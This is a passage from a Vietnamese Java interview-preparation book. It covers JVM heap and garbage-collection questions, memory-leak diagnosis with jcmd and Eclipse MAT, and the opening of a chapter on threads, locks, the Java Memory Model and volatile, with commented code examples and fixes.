1. Bắt được vì đây là Error trong cùng thread, và khi exception lan ngược ra tới main thì mọi frame dive đã bị bỏ, Stack có chỗ trở lại. Trên production, không nên bắt StackOverflowError để "chạy tiếp"; hãy sửa đệ quy (thêm điểm dừng, chuyển sang vòng lặp).
Câu hỏi (Cơ bản): Vì sao Heap được chia thành young và old generation?
Vì đa số object chết rất trẻ, nên tách chúng ra để dọn thường xuyên với chi phí thấp. DTO, String tạm, list trung gian của một request chết ngay khi request xong. Minor GC chỉ quét young gen và chỉ copy số ít object còn sống, nên nhanh. Object sống lâu (bean, cache) được chuyển lên old gen và ít khi phải dọn. Nếu không chia, mỗi lần GC phải duyệt cả Heap nhiều GB chỉ để thu hồi đống object tạm.
Câu hỏi (Hiểu sâu): Minor GC, major GC và Full GC khác nhau thế nào? Cái nào stop-the-world?
Minor GC dọn young gen, Full GC dọn toàn bộ Heap; "major GC" thường dùng để chỉ việc dọn old gen, nghĩa không thống nhất. Minor GC luôn stop-the-world nhưng ngắn (vài ms). G1 dọn old gen bằng cách đánh dấu song song với ứng dụng rồi dọn dần trong các mixed GC có pause ngắn. Full GC là stop-the-world toàn phần, có thể kéo dài hàng giây với Heap lớn.
	CÂU HỎI ĐÀO SÂU
"ZGC có stop-the-world không?" — Có, nhưng rất ngắn (dưới 1 ms) và không tăng theo kích thước Heap, vì phần việc nặng (đánh dấu, di chuyển object) chạy đồng thời với ứng dụng. Cái giá là tốn thêm CPU và bộ nhớ.



Câu hỏi (Hiểu sâu): Vì sao minor GC nhanh dù Eden có thể rất lớn?
Vì chi phí của minor GC tỉ lệ với số object còn sống, không phải số object rác. GC đi từ GC root, chỉ chạm tới object reachable và copy chúng sang Survivor; phần còn lại của Eden được coi là trống ngay lập tức, không cần duyệt từng object chết. Nếu 98% object trong Eden đã chết, minor GC chỉ phải copy 2%. Ngược lại, nếu ứng dụng giữ nhiều object sống qua minor GC (cache lớn tạo liên tục), minor GC sẽ chậm và promote nhiều lên old.
Câu hỏi (Đọc code): Sau dòng đánh dấu // HERE, object nào đủ điều kiện bị GC thu hồi?
	public class ReachQuiz {
    static class Node { Node next; String name; Node(String n) { name = n; } }
    static Node root;
 
    public static void main(String[] args) {
        Node a = new Node("A");
        Node b = new Node("B");
        Node c = new Node("C");
        a.next = b;
        b.next = c;
        c.next = b;                                     // B and C point to each other
        root = new Node("R");
        a = null;
        b = null;
        c = null;
        // HERE
        System.out.println(root.name);                  // prints: R
    }
}



Đáp án: A, B, C đều đủ điều kiện bị thu hồi; chỉ R còn reachable.
1. R được static field root trỏ tới, static field là GC root.
1. Sau khi a, b, c bị gán null, không biến cục bộ nào còn trỏ tới A, B, C. B và C trỏ vòng vào nhau nhưng không có đường đi từ root nào, nên vẫn là rác. Đây là lý do Java không dùng reference counting: đếm tham chiếu thì B và C mỗi cái vẫn có 1 tham chiếu và sẽ không bao giờ bị thu hồi.
1. "Đủ điều kiện" không có nghĩa là bị thu hồi ngay; GC chạy khi nào là do JVM quyết định.
Câu hỏi (Hiểu sâu): Vì sao JVM không dùng reference counting như một số ngôn ngữ khác?
Vì reference counting không thu hồi được vòng tham chiếu và tốn chi phí cập nhật bộ đếm ở mỗi phép gán. Hai object trỏ vào nhau luôn có bộ đếm lớn hơn 0 dù không ai dùng. Mỗi lần gán tham chiếu phải tăng/giảm bộ đếm, trong môi trường đa luồng còn phải làm nguyên tử, rất đắt. Tracing từ GC root giải quyết vòng tham chiếu một cách tự nhiên và cho phép copy/nén object để tránh phân mảnh.
Câu hỏi (Đọc code): Tìm lỗi bộ nhớ trong service dưới đây.
	import java.util.HashMap;
import java.util.Map;
 
public class ExchangeRateService {
    private static final Map<String, Double> CACHE = new HashMap<>();
 
    public double rate(String from, String to, String requestId) {
        String key = from + "-" + to + "-" + requestId;  // one entry per request
        return CACHE.computeIfAbsent(key, k -> fetchRate(from, to));
    }
 
    private double fetchRate(String from, String to) { return 24_500.0; } // simulated remote call
}



Đáp án: Có hai lỗi: memory leak và không thread-safe.
1. Key chứa requestId, mỗi request sinh một key mới nên cache không bao giờ trúng mà chỉ phình ra. CACHE là static field, tức là GC root, nên mọi entry sống mãi: Heap tăng dần cho tới OOM.
1. HashMap bị gọi đồng thời từ nhiều thread Tomcat, có thể mất entry hoặc hỏng cấu trúc bên trong.
1. Sửa: key chỉ gồm from-to; dùng Caffeine với maximumSize và expireAfterWrite (tỷ giá cũng cần hết hạn), hoặc ít nhất là ConcurrentHashMap với số key có giới hạn.
Câu hỏi (Đọc code): Class dưới đây có giữ bộ nhớ lâu hơn cần thiết không?
	import java.util.ArrayList;
import java.util.List;
 
public class ReportBuilder {
    private final byte[] rawData = new byte[50_000_000];   // 50 MB, only needed while building
 
    class Summary {                                        // inner class (not static)
        String text() { return "size=" + rawData.length; }
    }
 
    static final List<Object> SUMMARIES = new ArrayList<>();
 
    public static void main(String[] args) {
        SUMMARIES.add(new ReportBuilder().new Summary());
        System.out.println(SUMMARIES.size());               // prints: 1
    }
}



Đáp án: Có. Mỗi Summary giữ ngầm 50 MB rawData.
1. Inner class không static luôn mang một tham chiếu ẩn tới object bao ngoài (ReportBuilder.this). Giữ Summary trong static list nghĩa là giữ luôn ReportBuilder và mảng 50 MB của nó, dù Summary chỉ cần một con số.
1. Sửa: dùng static nested class hoặc record, chỉ truyền vào dữ liệu thực sự cần (ví dụ record Summary(int size)). Đây là nối kiến thức giữa N1.3 (static nested class không cần object bao ngoài) và GC reachability.
Câu hỏi (Hiểu sâu): StackOverflowError và OutOfMemoryError khác nhau thế nào?
StackOverflowError là một thread hết chỗ trên Stack riêng của nó; OutOfMemoryError là JVM không cấp phát được bộ nhớ ở một vùng chung (Heap, Metaspace, native...).
	
	StackOverflowError
	OutOfMemoryError

	Vùng nhớ
	Stack của một thread
	Heap, Metaspace, direct memory, native

	Nguyên nhân thường gặp
	Đệ quy không điểm dừng, toString vòng qua entity
	Leak, dữ liệu quá lớn, Heap quá nhỏ

	Ảnh hưởng
	Thường chỉ thread đó
	Có thể mọi thread

	Cách điều tra
	Đọc stack trace lặp lại
	Heap dump, GC log



Câu hỏi (Hiểu sâu): Tăng -Xss có phải cách sửa StackOverflowError không?
Hiếm khi. -Xss tăng kích thước Stack của mọi thread, nhân với hàng trăm thread là tốn thêm nhiều bộ nhớ native, trong khi đệ quy vô hạn vẫn tràn dù Stack to đến đâu. Chỉ tăng khi thuật toán đệ quy có độ sâu hợp lệ nhưng lớn (ví dụ duyệt cây sâu), và ngay cả khi đó, chuyển sang vòng lặp với Deque tự quản lý thường là giải pháp tốt hơn.
Câu hỏi (Hiểu sâu): Vì sao nên đặt -Xms bằng -Xmx trên server?
Để Heap có kích thước ổn định ngay từ đầu, tránh chi phí co giãn và phát hiện thiếu bộ nhớ ngay lúc khởi động. Nếu -Xms nhỏ, JVM phải mở rộng Heap dần dần qua nhiều lần GC khi tải tăng, gây pause không cần thiết. Trên server, bộ nhớ đã dành riêng cho service, nên không có lý do tiết kiệm. Trong container thì dùng -XX:InitialRAMPercentage và -XX:MaxRAMPercentage bằng nhau cho cùng mục đích.
Câu hỏi (Hiểu sâu): Static field liên quan gì tới class loading, GC root và memory leak?
Static field được tạo khi class khởi tạo, sống cùng class, và là một GC root, nên mọi thứ nó trỏ tới đều không bị thu hồi chừng nào class còn được nạp.
1. Class loading (2.1): giá trị mặc định được gán ở bước prepare, giá trị thật ở bước initialization.
1. Vị trí: giá trị static field nằm trong Heap (gắn với object Class), không phải Metaspace.
1. GC: class của ứng dụng gần như không bao giờ bị unload, nên static Map chỉ thêm không xóa là leak kinh điển.
1. Nối với ch03: static field cũng là trạng thái chia sẻ giữa mọi thread, nên còn phải thread-safe.
Câu hỏi (Hiểu sâu): Shallow heap và retained heap trong Eclipse MAT khác nhau thế nào?
Shallow heap là kích thước của chính object; retained heap là tổng bộ nhớ được giải phóng nếu object đó bị thu hồi, tức là gồm cả những object chỉ reachable qua nó. Một HashMap có shallow heap vài chục byte nhưng retained heap có thể là 2 GB nếu nó là con đường duy nhất tới hàng triệu entry. Khi tìm leak, bạn sắp xếp theo retained heap trong Dominator Tree, rồi dùng Path to GC Roots để biết field nào (thường là static) đang giữ nó.
Câu hỏi (Hiểu sâu): Stop-the-world là gì và vì sao GC cần dừng ứng dụng?
Là khoảng thời gian mọi thread ứng dụng bị dừng ở safepoint để GC làm những việc cần Heap đứng yên. Nếu ứng dụng vẫn đổi tham chiếu trong lúc GC đang đánh dấu hoặc di chuyển object, GC có thể bỏ sót object sống hoặc để thread đọc địa chỉ cũ. GC hiện đại (G1, ZGC) làm phần lớn việc đồng thời với ứng dụng nhờ các cơ chế như barrier, chỉ dừng rất ngắn ở vài pha đồng bộ. Hệ quả thực tế: pause GC cộng thẳng vào latency của các request đang xử lý.
Câu hỏi (Hiểu sâu): Parallel GC và G1, chọn cái nào cho một batch job chạy đêm?
Batch job thường ưu tiên throughput, nên Parallel GC là ứng viên tốt; web service ưu tiên latency nên giữ G1. Batch job không có người dùng chờ từng request, pause 1 giây không sao, miễn tổng thời gian job ngắn nhất. Parallel GC dùng mọi core để dọn trong lúc dừng, ít chi phí đồng thời hơn G1. Tuy vậy, hãy đo bằng GC log trước khi đổi: với Heap vừa phải, G1 mặc định thường đủ tốt.
Câu hỏi (Cơ bản): jcmd, jstack, jmap, jstat: khi nào dùng cái nào?
Mặc định dùng jcmd vì nó gom gần hết chức năng; jstat để theo dõi GC theo thời gian.
1. CPU cao, thread treo, deadlock: thread dump bằng jstack <pid> hoặc jcmd <pid> Thread.print.
1. Heap đầy, nghi leak: jcmd <pid> GC.heap_info, GC.class_histogram, rồi GC.heap_dump để phân tích bằng MAT.
1. GC chạy dày: jstat -gcutil <pid> 1000, kèm GC log.
1. Profiling trên production: jcmd <pid> JFR.start.
Câu hỏi (Đọc code): Đọc đoạn thread dump dưới đây, vấn đề nằm ở đâu?
	"order-worker-3" #58 prio=5 cpu=15.20ms nid=0x4a21 waiting for monitor entry
   java.lang.Thread.State: BLOCKED (on object monitor)
        at com.shop.StockService.reserve(StockService.java:31)
        - waiting to lock <0x0000000712ab0010> (a com.shop.StockService)
 
"order-worker-1" #56 prio=5 cpu=90412.77ms nid=0x4a1f runnable
   java.lang.Thread.State: RUNNABLE
        at java.net.SocketInputStream.read(SocketInputStream.java:168)
        at com.shop.SupplierClient.check(SupplierClient.java:54)
        at com.shop.StockService.reserve(StockService.java:35)
        - locked <0x0000000712ab0010> (a com.shop.StockService)



Đáp án: order-worker-1 đang giữ lock của StockService trong lúc gọi HTTP sang nhà cung cấp, khiến order-worker-3 (và các thread khác) phải xếp hàng ở trạng thái BLOCKED.
1. - locked <...0010> ở worker-1 và - waiting to lock <...0010> ở worker-3 cùng địa chỉ, nên worker-1 là thread giữ lock.
1. Worker-1 hiện RUNNABLE dù đang chờ socket: thread chờ I/O ở tầng native vẫn là RUNNABLE (xem 3.1).
1. Sửa: đưa lời gọi HTTP ra ngoài vùng synchronized, đặt timeout cho HTTP client, hoặc khóa theo từng sản phẩm thay vì cả service. Đây không phải deadlock: lock sẽ được nhả khi HTTP trả về, chỉ là rất chậm.
Câu hỏi (Thực chiến): Heap dump 6 GB mở trong MAT cho thấy một HashMap chiếm 4 GB. Bạn làm gì tiếp?
Tìm ai giữ HashMap đó và vì sao nó không bao giờ nhỏ lại.
1. Chuột phải vào HashMap trong Dominator Tree, chọn Path to GC Roots (loại trừ weak/soft reference) để thấy chuỗi tham chiếu, ví dụ static PriceCache.MAP.
1. Xem mẫu key/value bên trong: key có chứa thành phần duy nhất theo request (requestId, timestamp) không, có key mutable không.
1. Tìm trong code mọi chỗ put và remove vào map đó; thường sẽ thấy chỉ có put.
1. Sửa bằng cache có giới hạn và hết hạn, thêm metric kích thước cache, và tạo alert cho Heap sau GC.
	CÂU HỎI ĐÀO SÂU
"Nếu Path to GC Roots dẫn tới một thread của Tomcat?" — Rất có thể là ThreadLocal chưa remove(): giá trị nằm trong threadLocals của thread pool sống mãi (xem 3.9).



Câu hỏi (Thực chiến): GC log cho thấy Full GC mỗi phút, Heap sau GC vẫn ở 95%. Chuyện gì đang xảy ra?
Gần như mọi object trong Heap vẫn reachable: hoặc có leak, hoặc Heap quá nhỏ cho lượng dữ liệu sống thật. Ứng dụng lúc này dành phần lớn thời gian cho GC, CPU cao, request timeout, sắp tới là OutOfMemoryError (có thể là GC overhead limit exceeded). Để phân biệt: nếu Heap sau GC tăng dần theo ngày thì là leak, lấy heap dump; nếu nó ổn định ở mức cao ngay sau khởi động và tỉ lệ với tải thì có thể cần thêm Heap hoặc giảm dữ liệu giữ trong bộ nhớ (cache nhỏ hơn, phân trang).
Câu hỏi (Thực chiến): Pod bị OOMKilled nhưng dashboard cho thấy Heap chỉ dùng 60%. Vì sao?
Vì Kubernetes đo toàn bộ bộ nhớ process, còn Heap chỉ là một phần. Ngoài Heap còn Metaspace, thread stack (500 thread x 1 MB), code cache, direct buffer của Netty, bộ nhớ của GC. Cách điều tra: bật -XX:NativeMemoryTracking=summary, chạy jcmd <pid> VM.native_memory summary để xem từng vùng; kiểm tra số thread (jcmd <pid> Thread.print | grep -c '^"'); kiểm tra direct buffer. Sửa bằng cách giảm MaxRAMPercentage xuống khoảng 70–75%, giới hạn pool thread, hoặc tăng memory limit nếu đã đo được nhu cầu thật.
Câu hỏi (Thực chiến): Sau mỗi lần deploy, vài phút đầu p99 latency tăng gấp 3 rồi tự hết. Vì sao và xử lý thế nào?
Đó là giai đoạn warm-up: JIT chưa biên dịch code nóng, class chưa nạp, cache và connection pool còn trống. Trong vài phút đầu, code chạy ở chế độ thông dịch hoặc C1, class được nạp lười lần đầu (2.1), connection pool mở dần. Cách xử lý: readiness probe chỉ báo sẵn sàng sau khi gọi thử các endpoint chính (warm-up request), rolling deploy từ từ, tạo sẵn connection tối thiểu trong pool; với Java mới có thể cân nhắc CDS/AppCDS để nạp class nhanh hơn.
	CÂU HỎI ĐÀO SÂU
"Làm sao chứng minh là JIT?" — Bật -Xlog:jit+compilation=debug hoặc JFR, đối chiếu thời điểm latency giảm với thời điểm các method nóng được C2 biên dịch.



2.8 Tóm tắt trọng tâm
1. Class được nạp lười qua ba bước nạp, liên kết, khởi tạo; static block chỉ chạy khi class được dùng thật lần đầu, nên lỗi trong static block lộ ra muộn dưới dạng ExceptionInInitializerError.
1. Mỗi lời gọi method tạo một stack frame trên Stack riêng của thread, và frame biến mất khi method trả về, vì vậy biến cục bộ không cần GC và tự nhiên thread-safe.
1. Mọi object nằm trên Heap dùng chung; biến trên Stack chỉ giữ tham chiếu, vì vậy nhiều thread có thể cùng nhìn thấy một object.
1. Heap chia young/old vì đa số object chết trẻ, nhờ đó minor GC chỉ copy số ít object sống và rất nhanh.
1. Giá trị static field và String pool nằm trong Heap, còn Metaspace chỉ chứa metadata của class; tài liệu nói ngược lại là đã lỗi thời.
1. GC xác định rác bằng reachability từ GC root chứ không đếm tham chiếu, vì vậy vòng tham chiếu vẫn được thu hồi.
1. Memory leak trong Java là object không còn dùng nhưng vẫn reachable, và static collection, cache không giới hạn, ThreadLocal không remove() là ba nguồn phổ biến nhất.
1. Stop-the-world cộng thẳng vào latency, vì vậy Full GC lặp lại mà thu hồi ít là tín hiệu cần điều tra ngay.
1. G1 là lựa chọn mặc định hợp lý; chỉ đổi GC khi số liệu cho thấy GC pause là nguyên nhân gây chậm.
1. Cấu hình production phải có HeapDumpOnOutOfMemoryError và GC log, vì không có bằng chứng thì không thể tìm nguyên nhân gốc sau khi restart.
1. OOMKilled của Kubernetes khác OutOfMemoryError: kernel kill process nên không có heap dump, và phải chừa 25–30% bộ nhớ cho vùng ngoài Heap.
1. Histogram cho biết cái gì chiếm bộ nhớ, còn heap dump với Path to GC Roots mới cho biết ai đang giữ nó.
1. Khi CPU 100%, hãy đối chiếu TID nóng (đổi sang hex) với nid trong nhiều lần thread dump liên tiếp, vì một lần dump đơn lẻ dễ gây hiểu nhầm.
2.9 Checklist ôn tập
1. Phân biệt JDK/JRE/JVM, mô tả parent delegation và vì sao ứng dụng cần warm-up (JIT).
1. Vẽ được các vùng nhớ: Heap (Eden, Survivor, Old), Stack, Metaspace, native memory.
1. Biết static field và String pool nằm trong Heap; Metaspace thay PermGen từ Java 8.
1. Giải thích GC roots, reachability, stop-the-world, minor GC và Full GC.
1. So sánh Serial, Parallel, G1, ZGC; biết G1 mặc định từ Java 9 và bẫy "server-class machine".
1. Nói rõ vì sao không ép được GC và vì sao không dùng finalize().
1. Phân biệt các loại OutOfMemoryError, StackOverflowError và OOMKilled của container.
1. Kể được ít nhất 4 nguồn memory leak trong ứng dụng Spring.
1. Thuộc cấu hình production: -Xmx, HeapDumpOnOutOfMemoryError, MaxRAMPercentage, GC log.
1. Dùng được jcmd, jstack, jstat, Eclipse MAT, JFR.
1. Trình bày quy trình từng bước cho OOM và CPU 100%, kèm một câu chuyện sự cố thật.
Chương 3. Concurrency và Multithreading
Concurrency là chủ đề phân loại ứng viên rõ nhất. Người 2–4 năm hầu như ai cũng biết synchronized và ExecutorService, nhưng rất ít người giải thích được vì sao một biến boolean không có volatile có thể khiến vòng lặp chạy mãi, vì sao Executors.newFixedThreadPool có thể làm sập service, hay vì sao một Spring bean "chạy tốt trên máy dev" lại trả sai dữ liệu khi có tải. Tôi thường đi từ một câu hỏi lý thuyết rồi xoáy vào một tình huống thật trong dự án của bạn. Chương này chuẩn bị cho cả hai.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Bạn hiểu Java Memory Model ở mức visibility, atomicity, happens-before, chứ không chỉ thuộc "volatile đọc từ RAM".
1. Bạn chọn đúng công cụ: volatile, synchronized, ReentrantLock, Atomic, ConcurrentHashMap, và giải thích được trade-off.
1. Bạn cấu hình ThreadPoolExecutor có chủ đích (kích thước, queue, rejection policy) và biết vì sao không dùng các factory mặc định trên production.
1. Bạn viết được CompletableFuture gọi song song nhiều service, xử lý lỗi và timeout đúng cách.
1. Bạn biết virtual threads (Java 21) giải quyết vấn đề gì, không giải quyết vấn đề gì, và nhận ra race condition trong Spring singleton bean.



3.1 Thread, process và vòng đời thread
	NHẮC LẠI KIẾN THỨC
Ở N1.13 bạn đã gặp: start() mới tạo thread mới, run() chỉ là gọi method thường; hai thread cùng count++ cho kết quả thiếu; hai thread giữ khóa và chờ khóa của nhau thì deadlock. Ở Chương 2 (mục 2.2): mỗi thread có Stack riêng chứa biến cục bộ, còn mọi object nằm trên Heap dùng chung. Toàn bộ chương này xoay quanh một hệ quả: thứ gì nằm trên Heap mà nhiều thread cùng sửa thì phải được bảo vệ.



Process là một chương trình đang chạy với không gian bộ nhớ riêng; thread là luồng thực thi bên trong process. Các thread cùng process dùng chung Heap (nên có thể chia sẻ object, và cũng vì thế mà có race condition), nhưng mỗi thread có stack riêng. Tạo process tốn kém và giao tiếp giữa process phải qua IPC/mạng; tạo platform thread rẻ hơn nhưng vẫn là thread của hệ điều hành, tốn khoảng 1 MB stack và chi phí context switch.
Enum Thread.State có đúng sáu trạng thái:
	Trạng thái
	Khi nào

	NEW
	Đã tạo object, chưa gọi start()

	RUNNABLE
	Đang chạy hoặc sẵn sàng chạy, kể cả đang chờ I/O ở tầng native

	BLOCKED
	Chờ lấy monitor để vào khối synchronized

	WAITING
	Chờ vô thời hạn: wait(), join(), LockSupport.park()

	TIMED_WAITING
	Chờ có thời hạn: sleep(ms), wait(ms), poll(timeout)

	TERMINATED
	Đã chạy xong



	GHI CHÚ
Nhiều tài liệu vẽ thêm trạng thái "Running". Java không có trạng thái đó; đang chạy trên CPU vẫn là RUNNABLE. Chi tiết này quan trọng khi đọc thread dump: thread đang chờ socket đọc dữ liệu từ DB vẫn hiện là RUNNABLE.



sleep() giữ nguyên lock đang cầm; wait() nhả monitor và phải được gọi trong khối synchronized trên chính object đó. Trong code hiện đại, bạn hiếm khi tự dùng wait/notify; BlockingQueue, CountDownLatch, CompletableFuture làm việc đó an toàn hơn.
Thread, race condition, lock và monitor bằng lời thường
Thread là một "người thợ" thực hiện lần lượt từng lệnh của chương trình. Một process có nhiều thợ làm việc cùng lúc trong cùng một xưởng (Heap): mỗi thợ có cuốn sổ tay riêng (Stack) nhưng dùng chung dụng cụ và bảng ghi trên tường (object trên Heap). Trên máy nhiều core, các thợ thật sự chạy song song; trên một core, hệ điều hành cho từng thợ chạy một lát rồi đổi sang thợ khác (context switch), và nó có thể đổi ở bất kỳ lệnh nào.
Race condition (điều kiện tranh chấp) là khi kết quả đúng hay sai phụ thuộc vào thứ tự xen kẽ ngẫu nhiên của các thread. Ví dụ kinh điển là count++: trông như một lệnh nhưng thực chất gồm ba bước đọc, cộng, ghi. Bảng dưới đây là một cách xen kẽ khiến mất một lần tăng, bắt đầu với count = 10:
	Thời điểm
	Thread A
	Thread B
	Giá trị count trên Heap

	t1
	Đọc count được 10
	
	10

	t2
	
	Đọc count được 10
	10

	t3
	Tính 10 + 1 = 11
	
	10

	t4
	
	Tính 10 + 1 = 11
	10

	t5
	Ghi 11
	
	11

	t6
	
	Ghi 11
	11 (đúng ra phải là 12)



Lock (khóa) là cơ chế đảm bảo mỗi lúc chỉ một thread được chạy một đoạn code gọi là vùng găng (critical section). Trong Java, mỗi object đều có sẵn một khóa gọi là monitor; từ khóa synchronized (obj) nghĩa là "phải cầm được monitor của obj mới được vào, ra khỏi khối thì trả lại". Thread đến sau phải đứng chờ ở trạng thái BLOCKED. Cùng kịch bản trên nhưng count++ nằm trong synchronized (this):
	Thời điểm
	Thread A
	Thread B
	Monitor của object

	t1
	Lấy monitor thành công
	
	A giữ

	t2
	Đọc 10
	Muốn lấy monitor, phải chờ (BLOCKED)
	A giữ

	t3
	Tính 11, ghi 11
	Vẫn chờ
	A giữ

	t4
	Ra khỏi khối, nhả monitor
	
	Tự do

	t5
	
	Lấy monitor, đọc 11
	B giữ

	t6
	
	Tính 12, ghi 12, nhả monitor
	Tự do



Giải thích: Lock không làm các bước nhanh hơn, nó chỉ biến ba bước đọc, cộng, ghi thành một khối không bị chen ngang từ thread khác cùng dùng khóa đó. Cái giá là thread B phải chờ, nên vùng găng càng ngắn càng tốt. Lưu ý quan trọng: hai thread chỉ loại trừ nhau khi khóa cùng một object; mỗi thread khóa một object khác nhau thì như không khóa (xem ví dụ WrongLockBug ở 3.4).
3.2 Tạo thread: thực tế không ai new Thread
Câu trả lời sách vở là "extends Thread hoặc implements Runnable". Câu trả lời tôi muốn nghe: trong code backend, bạn không tự tạo thread, mà gửi task vào một ExecutorService được quản lý (hoặc để Spring quản lý qua @Async với ThreadPoolTaskExecutor). Lý do: giới hạn số thread, tái sử dụng thread, đặt tên thread để đọc log và thread dump, tắt gọn gàng khi ứng dụng dừng.
1. Runnable: không trả kết quả, không ném checked exception.
1. Callable<V>: trả kết quả, được ném checked exception; submit() trả về Future<V>.
1. Exception trong task gửi bằng submit() bị giữ trong Future: nếu không ai gọi get(), lỗi biến mất hoàn toàn, không có dòng log nào. Với execute(), exception đi tới UncaughtExceptionHandler của thread.
Đoạn code dưới đây gửi hai task bằng submit(): một task trả về kết quả, một task ném exception nhưng không ai lấy kết quả của nó:
	import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
 
public class SubmitDemo {
    public static void main(String[] args) throws Exception {
        // Java 19+: ExecutorService is AutoCloseable, close() waits for running tasks
        try (ExecutorService pool = Executors.newFixedThreadPool(4)) {
            Future<Integer> f = pool.submit(() -> 40 + 2);        // Callable
            Future<?> bad = pool.submit(() -> { throw new IllegalStateException("lỗi"); }); // failing task
            System.out.println(f.get());  // 42
            // bad.get() is never called -> the exception is silently swallowed
        }
    }
}



Giải thích: Chương trình chỉ in 42 rồi kết thúc bình thường. IllegalStateException("lỗi") không xuất hiện ở đâu cả: không stack trace, không dòng log nào. Lý do là submit() bọc task trong một FutureTask, mọi exception trong task bị bắt lại và cất vào Future; nó chỉ được ném ra (bọc trong ExecutionException) khi có người gọi bad.get(). Nếu dùng pool.execute(...) thay cho submit, exception đi tới UncaughtExceptionHandler và ít nhất in stack trace ra stderr. Trong dự án, cách sửa là luôn lấy kết quả bằng get()/join(), hoặc bắt và log exception ngay trong task, hoặc dùng CompletableFuture với exceptionally/whenComplete.
3.3 Java Memory Model: visibility, reordering, happens-before
Visibility và happens-before bằng lời thường
Visibility (khả năng nhìn thấy) là câu hỏi: khi thread A đã ghi một giá trị, thread B có thấy giá trị đó không? Nghe hiển nhiên là có, nhưng để chạy nhanh, CPU giữ giá trị trong register và bộ đệm riêng của từng core, còn JIT được phép sắp xếp lại lệnh hoặc chỉ đọc một biến một lần rồi dùng lại. Kết quả là B có thể nhìn thấy giá trị cũ rất lâu, thậm chí mãi mãi. Bảng dưới đây mô tả cờ dừng running không có volatile:
	Thời điểm
	Thread main
	Thread worker

	t1
	
	Đọc running = true, JIT giữ giá trị này trong register

	t2
	
	Lặp n++, không đọc lại running từ bộ nhớ

	t3
	Ghi running = false
	Vẫn lặp, dùng giá trị true cũ

	t4
	join() chờ worker
	Vẫn lặp mãi, chương trình treo



Happens-before là "giấy bảo đảm" của Java: nếu thao tác X happens-before thao tác Y, thì mọi thứ X (và mọi lệnh trước X trong cùng thread) đã ghi đều chắc chắn được Y nhìn thấy. Không có giấy bảo đảm này thì không có gì chắc chắn cả. Ví dụ ghi volatile happens-before lần đọc biến đó sau này. Bảng dưới đây dùng một cờ volatile boolean ready để công bố dữ liệu data (không volatile):
	Thời điểm
	Thread A (ghi)
	Thread B (đọc)

	t1
	data = 42
	Đọc ready = false, chờ tiếp

	t2
	ready = true (ghi volatile)
	

	t3
	
	Đọc ready = true (đọc volatile)

	t4
	
	Đọc data: chắc chắn là 42



Giải thích: Chuỗi bảo đảm là: data = 42 đứng trước ready = true trong cùng thread A; ghi volatile ready happens-before lần đọc thấy true ở B; lần đọc đó đứng trước lệnh đọc data trong thread B. Nối ba mắt xích lại, data = 42 happens-before lệnh đọc data của B, nên B không thể thấy 0. Nếu bỏ volatile khỏi ready, chuỗi bị đứt: B có thể không bao giờ thấy ready = true, hoặc thấy ready = true nhưng data vẫn là 0 do lệnh bị sắp xếp lại.
JMM trả lời câu hỏi: khi thread A ghi một biến, lúc nào thread B chắc chắn đọc được giá trị mới? Câu trả lời mặc định là: không có gì đảm bảo, trừ khi hai thao tác có quan hệ happens-before. Có ba vấn đề riêng biệt:
1. Visibility: giá trị A ghi có thể chưa được B nhìn thấy (nằm trong register, store buffer của CPU, hoặc JIT đã đưa việc đọc biến ra ngoài vòng lặp).
1. Reordering: compiler, JIT và CPU được phép đổi thứ tự lệnh miễn là kết quả trong một thread không đổi. Thread khác có thể quan sát thấy thứ tự khác.
1. Atomicity: count++ gồm đọc, cộng, ghi; hai thread xen kẽ nhau sẽ mất cập nhật.
Các quy tắc happens-before quan trọng: trong cùng một thread, lệnh trước happens-before lệnh sau; unlock một monitor happens-before mọi lần lock sau đó trên cùng monitor; ghi một biến volatile happens-before mọi lần đọc biến đó xảy ra sau; Thread.start() happens-before mọi lệnh trong thread mới; mọi lệnh trong thread happens-before khi thread khác join() xong nó.
Đoạn code dưới đây dùng một cờ running để thread main báo cho thread worker dừng vòng lặp sau nửa giây:
	public class StopFlagDemo {
    private static volatile boolean running = true; // without volatile the loop may run forever
 
    public static void main(String[] args) throws InterruptedException {
        Thread worker = new Thread(() -> {
            long n = 0;
            while (running) { n++; }   // without volatile, JIT may read running only once
            System.out.println("Dừng sau " + n + " vòng");
        });
        worker.start();
        Thread.sleep(500);
        running = false;              // volatile write -> worker is guaranteed to see it
        worker.join();
    }
}



Giải thích: Có volatile, sau khoảng 500 ms worker thoát vòng lặp, in "Dừng sau ... vòng" và chương trình kết thúc. Bỏ volatile, chương trình có thể treo mãi. Lý do: không có quan hệ happens-before giữa lệnh ghi running = false của main và lệnh đọc của worker, nên JIT được phép coi running không đổi bên trong vòng lặp và biến while (running) { n++; } thành "đọc running một lần, nếu true thì lặp vô hạn" (hoisting). Lỗi thường chỉ xuất hiện khi vòng lặp đã "nóng" và được C2 biên dịch, nên chạy thử vài lần có thể không thấy, đúng kiểu bug "máy dev chạy bình thường". Cách sửa: khai báo volatile như trên, dùng AtomicBoolean, hoặc dùng cơ chế interrupt (worker.interrupt() và kiểm tra Thread.currentThread().isInterrupted()).
	GHI CHÚ
Nhiều tài liệu giải thích "volatile buộc đọc/ghi trực tiếp RAM, bỏ qua CPU cache". Đó là cách hình dung đơn giản hóa và không chính xác: CPU hiện đại có giao thức đồng bộ cache. Bản chất là volatile cấm một số kiểu reordering (chèn memory barrier) và thiết lập quan hệ happens-before, nên mọi thứ thread A ghi trước khi ghi biến volatile đều hiển thị với thread B sau khi B đọc biến đó.



3.4 volatile, synchronized, ReentrantLock và Atomic
	Công cụ
	Đảm bảo
	Điểm riêng
	Dùng khi

	volatile
	Visibility, thứ tự
	Không có atomicity cho thao tác phức hợp
	Cờ trạng thái, publish object

	synchronized
	Loại trừ lẫn nhau, visibility
	Tự nhả lock, không timeout
	Vùng găng đơn giản (mặc định)

	ReentrantLock
	Như synchronized
	tryLock(timeout), interrupt, fairness, nhiều Condition
	Cần timeout, tránh pinning (Java 21)

	AtomicInteger/Long
	Atomicity trên một biến
	CAS, không chặn thread
	Bộ đếm, cập nhật một giá trị



1. volatile phù hợp cho cờ dừng, cấu hình được reload, và field instance trong double-checked locking. Không dùng cho count++.
1. synchronized là reentrant (thread đang giữ lock vào lại được), tự nhả lock khi ra khỏi khối kể cả khi có exception. Đơn giản, JVM tối ưu tốt.
1. ReentrantLock linh hoạt hơn nhưng bắt buộc unlock() trong finally. Chọn nó khi cần tryLock có timeout (tránh deadlock), khi cần chờ có thể bị interrupt, hoặc (với Java 21) để tránh pinning virtual thread.
